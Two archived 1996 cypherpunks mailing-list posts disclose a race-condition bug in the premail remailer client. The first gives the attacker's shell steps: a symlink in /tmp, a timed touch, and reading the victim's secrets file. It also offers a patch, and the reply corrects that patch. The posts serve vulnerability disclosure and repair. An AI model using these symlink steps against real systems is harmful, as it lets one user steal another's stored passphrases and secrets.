From xs4all!toad.com!basement.replay.com!toad.com!dhp.com!toad.com!dhp.com!not-for-mail Mon Dec 23 13:36:10 1996
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From: Mixmaster <lucifer@dhp.com>
Newsgroups: list.cypherpunks
Subject: Security hole in premail
Date: 21 Dec 1996 05:20:39 +0100
Organization: XS4ALL, networking for the masses
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There's a pretty nasty bug in premail that allows any non-root to obtain the
contents of the premail secrets file.  This is a race condition that can be
exploited because an indefinite amount of time can pass between the time that
premail checks if the secrets file exists and when it tries to write to the
file.  It can be exploited as follows:

attacker:

$ umask 111
$ ln -s ~/premail-secrets-file /tmp/.premail-secrets.$<

normal user:

$ premail -login
Remember to logout when done.
Your premail passphrase, please:

All the attacker has to do is execute "touch premail-secrets-file" between the
time that the user is prompted for the passphrase and the time when the login
is completed.

$ ls -al premail-secrets-file
-rw-rw-rw-   1 d00d    nogroup          19 Dec 20 19:01 premail-secrets-file 
$ cat premail-secrets-file
[contents of premail secrets file]

This bug can be fixed in two ways.  One way is to set the premail-secrets
setting to some non-world-writable directory.  The second way is to apply the
following patch:

*** premail.orig	Fri Dec 20 18:46:01 1996
--- premail	Fri Dec 20 18:55:54 1996
***************
*** 3574,3579 ****
--- 3574,3582 ----
      }
      for ($triesleft = 2; !$done && $triesleft; $triesleft--) {
  	$pass = &getpass ($x);
+ 	if(!-O $ps) {
+ 		&error ("Secrets file exists and is owned by another user\n");
+ 	}
  	$status = &decrypt_secrets ($ps_pgp, $ps, $pass);
  	if (!-s $ps) { unlink $ps; }
  	$done = (!$status && -e $ps);

From xs4all!toad.com!basement.replay.com!toad.com!dhp.com!toad.com!dhp.com!not-for-mail Mon Dec 23 13:36:36 1996
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From: Mixmaster <lucifer@dhp.com>
Newsgroups: list.cypherpunks
Subject: Re: Security hole in premail
Date: 22 Dec 1996 07:45:30 +0100
Organization: XS4ALL, networking for the masses
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On Fri, 20 Dec 1996, Mixmaster wrote:

> *** premail.orig	Fri Dec 20 18:46:01 1996
> --- premail	Fri Dec 20 18:55:54 1996
> ***************
> *** 3574,3579 ****
> --- 3574,3582 ----
>       }
>       for ($triesleft = 2; !$done && $triesleft; $triesleft--) {
>   	$pass = &getpass ($x);
> + 	if(!-O $ps) {
> + 		&error ("Secrets file exists and is owned by another user\n");
> + 	}
>   	$status = &decrypt_secrets ($ps_pgp, $ps, $pass);
>   	if (!-s $ps) { unlink $ps; }
>   	$done = (!$status && -e $ps);

That patch doesn't work.  It will always return an error.  I have tested the
following patch and it does work as intended:

*** premail.orig	Wed Oct 30 22:25:10 1996
--- premail	Sat Dec 21 15:45:41 1996
***************
*** 3631,3636 ****
--- 3631,3639 ----
      $invoc .= ' > '.$ps;
      $invoc .= ' 2> '.$errfile;
      &pdv ("Invoking PGP as $invoc\n");
+     if(-e $ps) {
+ 	&error ("Premail secrets file already exists\n");
+     }
      $status = &open_pgp ($invoc, $pass, '');
      $err = &read_and_delete ($errfile);
      &pdv ($err);

Sorry about the previous mistake.